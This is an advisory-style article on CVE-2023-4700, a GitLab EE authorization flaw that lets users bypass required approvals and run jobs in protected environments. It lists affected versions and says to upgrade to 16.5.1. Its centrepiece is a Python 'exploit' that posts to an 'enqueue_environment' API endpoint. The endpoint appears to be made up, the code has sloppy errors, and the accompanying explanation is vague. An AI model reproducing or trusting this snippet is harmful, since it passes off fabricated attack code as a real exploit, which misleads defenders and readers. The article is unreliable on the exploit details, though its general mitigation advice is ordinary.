CVE-2023-4700: GitLab EE Authorization Issue Allows Users to Bypass Required Approvals in Jobs and Run in Protected Environments

A critical authorization issue, tagged as CVE-2023-4700, affects GitLab EE and may allow users, without any required permissions, to run jobs within protected environments. This vulnerability affects all GitLab EE versions starting from 14.7 up to version 16.3.5, 16.4 up to 16.4.1, and 16.5.

Exploit Details

This authorization issue may lead to several security breaches as unauthorized users might be able to execute jobs within protected environments. This vulnerability bypasses the required approvals, allowing malicious users to exploit confidential data within protected environments.

By injecting malicious code snippets into specific parts of the environment, the user may be able to exploit the vulnerability. Below is a sample code snippet that demonstrates the issue:

# Sample code snippet to exploit CVE-2023-4700
import requests

gitlab_url = 'https://your-gitlab-instance.com';
api_endpoint = '/api/v4/projects/{}/jobs/{}/enqueue_environment'
headers = {'PRIVATE-TOKEN': 'your-gitlab-API-token'}

project_id = 'your-target-project-id'
job_id = 'your-target-job-id'

response = requests.post(
    url=gitlab_url + api_endpoint.format(project_id, job_id),
    headers=headers
)

if response.status_code == 200:
    print("Successfully executed job in protected environment.")
else:
    print("Failed to execute job in protected environment.")

The code snippet above uses the GitLab API to attempt to enqueue a job to run in a protected environment. If successful, you could potentially compromise the protected environment.

Original References

Details about this vulnerability and the affected GitLab versions can be found in the following GitLab security release posts:

- GitLab Security Release: 16.3.6, 16.4.2, and 16.5.1
- CVE-2023-4700: GitLab Vulnerabilities

Mitigation

To protect your GitLab instance from this vulnerability, it is highly recommended that you immediately update your GitLab EE installation to one of the latest fixed versions:

GitLab EE version 16.5.1

To upgrade your GitLab instance, please follow the official GitLab update documentation.

Conclusion

CVE-2023-4700 poses a significant risk to organizations that rely on GitLab EE, as it allows unauthorized users to bypass the required approvals in jobs and run them in protected environments. To mitigate this vulnerability, users should update their GitLab EE instances to the latest fixed version and remain vigilant in monitoring any suspicious activity within their environment.

Timeline

Published on: 11/06/2023 18:15:08 UTC
Last modified on: 11/14/2023 20:00:25 UTC